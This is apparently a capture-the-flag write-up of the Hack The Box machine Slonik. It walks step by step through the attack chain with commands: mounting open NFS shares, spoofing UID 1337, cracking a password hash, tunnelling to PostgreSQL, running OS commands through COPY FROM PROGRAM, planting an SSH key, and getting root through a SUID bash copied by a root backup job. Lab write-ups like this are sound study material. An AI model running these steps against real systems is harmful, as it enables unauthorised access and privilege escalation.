September 7, 2026
Slonik (Hack The Box)(Medium)an important lesson on NFS.
Slonik is an interesting Linux machine because the initial foothold doesn’t come from an obvious remotely exploitable service. Instead, the…
By GhostTrixx
4 min read
Slonik is an interesting Linux machine because the initial foothold doesn't come from an obvious remotely exploitable service. Instead, the box rewards paying attention to NFS permissions, Unix UIDs, local services, command execution through PostgreSQL, and scheduled backups.
I started with the default Nmap scan:
nmap -sC -sV TARGETnmap -sC -sV TARGETThe initial results didn't reveal much, so I moved to a full TCP port scan:
nmap -p- TARGETnmap -p- TARGETThe important ports were:
22/tcp SSH
111/tcp rpcbind
2049/tcp NFS22/tcp SSH
111/tcp rpcbind
2049/tcp NFSThere were also several high-numbered RPC-related ports.
The combination of 111/tcp + 2049/tcp immediately caught my attention.
Port 111 is running rpcbind, which essentially helps clients locate RPC services. Port 2049 is the important one here: NFS.
There was no web server and, importantly, PostgreSQL wasn't exposed directly over the network.
So rather than attacking SSH immediately, I followed the NFS lead.
First, I checked what the server was exporting:
showmount -e TARGETshowmount -e TARGETThe result:
/var/backups *
/home */var/backups *
/home *The * means the exports aren't restricted to a specific client address.
I mounted both shares:
sudo mkdir -p /tmp/slonik-home
sudo mkdir -p /tmp/slonik-backups
sudo mount -t nfs TARGET:/home /tmp/slonik-home
sudo mount -t nfs TARGET:/var/backups /tmp/slonik-backupssudo mkdir -p /tmp/slonik-home
sudo mkdir -p /tmp/slonik-backups
sudo mount -t nfs TARGET:/home /tmp/slonik-home
sudo mount -t nfs TARGET:/var/backups /tmp/slonik-backups/var/backups
The backup share immediately looked interesting.
New ZIP archives were appearing roughly every minute:
archive-YYYY-MM-DDTHHMM.ziparchive-YYYY-MM-DDTHHMM.zipThe files were owned by root:root.
At this point, however, I didn't yet know exactly what was generating them or how they would help with privilege escalation.
So I made a mental note of it and moved on.
That turned out to be important later.
/home
The /home share was more immediately useful.
Inside was a directory belonging to service:
service/service/But trying to access it resulted in:
Permission deniedPermission deniedChecking the ownership revealed the reason: the directory belonged to UID 1337.
My local user had a different UID.
This is an important detail with NFS.
NFS can rely on numeric Unix UIDs when handling file ownership. The username itself isn't what matters to the server — the UID number is.
So instead of trying to somehow become root locally, I simply created a local account using the same UID:
sudo useradd -u 1337 -M -s /bin/bash svc1337sudo useradd -u 1337 -M -s /bin/bash svc1337Then:
sudo -u svc1337 ls -la /tmp/slonik-home/servicesudo -u svc1337 ls -la /tmp/slonik-home/serviceAnd suddenly the directory was accessible.
The username didn't matter.
The number did.
Now that I could access the service directory, I started looking through the files.
A few files weren't particularly interesting, but eventually two history files stood out:
.psql_history
.bash_history.psql_history
.bash_historyPostgreSQL history
The PostgreSQL history contained database activity, including a user entry containing an MD5 password hash:
aaabf0d39951f3e6c3e8a7911df524c2aaabf0d39951f3e6c3e8a7911df524c2Since this was an MD5 hash, I could crack it offline.
The result was:
serviceserviceSo we had:
username: service
password: serviceusername: service
password: serviceA very simple credential… but exactly what we needed :)
The Bash history gave us another important clue:
ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgresls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgresThe interesting part was:
/var/run/postgresql/.s.PGSQL.5432/var/run/postgresql/.s.PGSQL.5432That is a Unix domain socket used by PostgreSQL.
This explained why our Nmap scan didn't show port 5432.
PostgreSQL was running, but it wasn't listening on a network-accessible TCP port.
Instead, it was available locally through a Unix socket on the target.
So we had credentials for service and a clue pointing toward a database that we couldn't directly reach.
Time to combine the two.
We tried the discovered credentials:
sshpass -p service ssh service@TARGETsshpass -p service ssh service@TARGETAuthentication worked…
but the session immediately closed.
That initially looks like a failed SSH login, but there's an important distinction.
The account's login shell was:
/bin/false/bin/falseSo the credentials were valid — the account simply wasn't configured to provide an interactive shell.
Fortunately, we didn't actually need an interactive shell.
We needed SSH's port forwarding capability.
SSH can forward a local TCP port to a Unix socket on the remote system.
I created the tunnel:
sshpass -p service ssh -f -N \
-o StrictHostKeyChecking=accept-new \
-o ExitOnForwardFailure=yes \
-L 127.0.0.1:5432:/var/run/postgresql/.s.PGSQL.5432 \
service@TARGETsshpass -p service ssh -f -N \
-o StrictHostKeyChecking=accept-new \
-o ExitOnForwardFailure=yes \
-L 127.0.0.1:5432:/var/run/postgresql/.s.PGSQL.5432 \
service@TARGETThe idea is:
Our machine
127.0.0.1:5432
│
│ SSH tunnel
▼
Target
/var/run/postgresql/.s.PGSQL.5432Our machine
127.0.0.1:5432
│
│ SSH tunnel
▼
Target
/var/run/postgresql/.s.PGSQL.5432Now PostgreSQL's local-only Unix socket was reachable through our local port 5432.
I could then connect:
psql -h 127.0.0.1 -p 5432 -U postgrespsql -h 127.0.0.1 -p 5432 -U postgresAnd we were in.
Once inside PostgreSQL, the next question was:
What can this database account actually do?
PostgreSQL provides a particularly interesting capability for this situation:
COPY ... FROM PROGRAMCOPY ... FROM PROGRAMIf the PostgreSQL user has the necessary privileges, this can execute an operating-system command as the underlying PostgreSQL service account.
I tested it:
CREATE TABLE cmd(output text);
COPY cmd FROM PROGRAM 'id';
SELECT * FROM cmd;CREATE TABLE cmd(output text);
COPY cmd FROM PROGRAM 'id';
SELECT * FROM cmd;The result showed:
uid=115(postgres) gid=123(postgres) ...uid=115(postgres) gid=123(postgres) ...That was the breakthrough.
We weren't merely interacting with a database anymore.
We had OS-level command execution as the Linux postgres user.
My first thought was to try getting a reverse shell.
I set up a listener and attempted to have the target connect back.
It didn't work.
Rather than spending time fighting with a reverse shell, I changed direction.
Instead of:
Target → Attack BoxTarget → Attack BoxI would make it:
Attack Box → TargetAttack Box → TargetI generated a new SSH key pair on my attack machine.
Then I used PostgreSQL's command execution to create the SSH directory for the postgres user and place my public key into:
/var/lib/postgresql/.ssh/authorized_keys/var/lib/postgresql/.ssh/authorized_keysConceptually:
Attack box
│
│ public key
▼
PostgreSQL command execution
│
▼
/var/lib/postgresql/.ssh/authorized_keysAttack box
│
│ public key
▼
PostgreSQL command execution
│
▼
/var/lib/postgresql/.ssh/authorized_keysOnce the key was in place:
ssh -i ~/.ssh/id_ed25519 \
-o IdentitiesOnly=yes \
postgres@TARGETssh -i ~/.ssh/id_ed25519 \
-o IdentitiesOnly=yes \
postgres@TARGETAnd this time:
we had an interactive shell as postgres.
From the postgres shell, I performed some basic enumeration.
The postgres user's home directory was:
/var/lib/postgresql/var/lib/postgresqlThe user flag was accessible from there.
That gave us the user-level foothold we needed.
But the more interesting question was now:
How do we become root?
And this brought us back to something we had seen much earlier.
Those strange ZIP files appearing in /var/backups.
Investigating the Root Backup Process
Remember the backups from the NFS share?
They were appearing roughly every minute.
Now that we had a shell, I started investigating what was generating them.
Eventually, we found the PostgreSQL backup process.
The important part was that root was backing up the PostgreSQL data directory.
The process essentially did the following:
- Cleared the current backup directory.
- Used
pg_basebackupto copy the PostgreSQL data directory. - Compressed the resulting directory into an archive under
/var/backups.
The source PostgreSQL data directory was:
/var/lib/postgresql/14/main/var/lib/postgresql/14/mainAnd we had write access to it as the postgres user.
That creates a very interesting situation.
If root periodically copies that directory, then anything we place inside the source directory can potentially be copied into a root-owned destination.
And that is exactly what we exploit.
From the PostgreSQL data directory:
cd /var/lib/postgresql/14/maincd /var/lib/postgresql/14/mainI copied Bash into the directory:
cp /bin/bash ./bashcp /bin/bash ./bashThen I set the SUID bit:
chmod 6777 bashchmod 6777 bashAt this point, the file was owned by postgres.
So simply having SUID set wasn't enough.
The important part was what would happen when root's backup process copied it.
We wait for the next backup cycle.
Then check the resulting file in:
/opt/backups/current/bash/opt/backups/current/bashAnd there it was.
The copied Bash binary was now owned by:
root rootroot rootwith the SUID bit intact.
In other words, the root backup process had unintentionally transformed our planted Bash binary into a root-owned SUID executable.
We execute the copied Bash with -p:
/opt/backups/current/bash -p/opt/backups/current/bash -pThe -p is important because Bash can otherwise drop elevated privileges when running in a privileged context.
Then:
ididThe effective user was:
euid=0(root)euid=0(root)And that was it.
Root.
The final step was simply retrieving the root flag.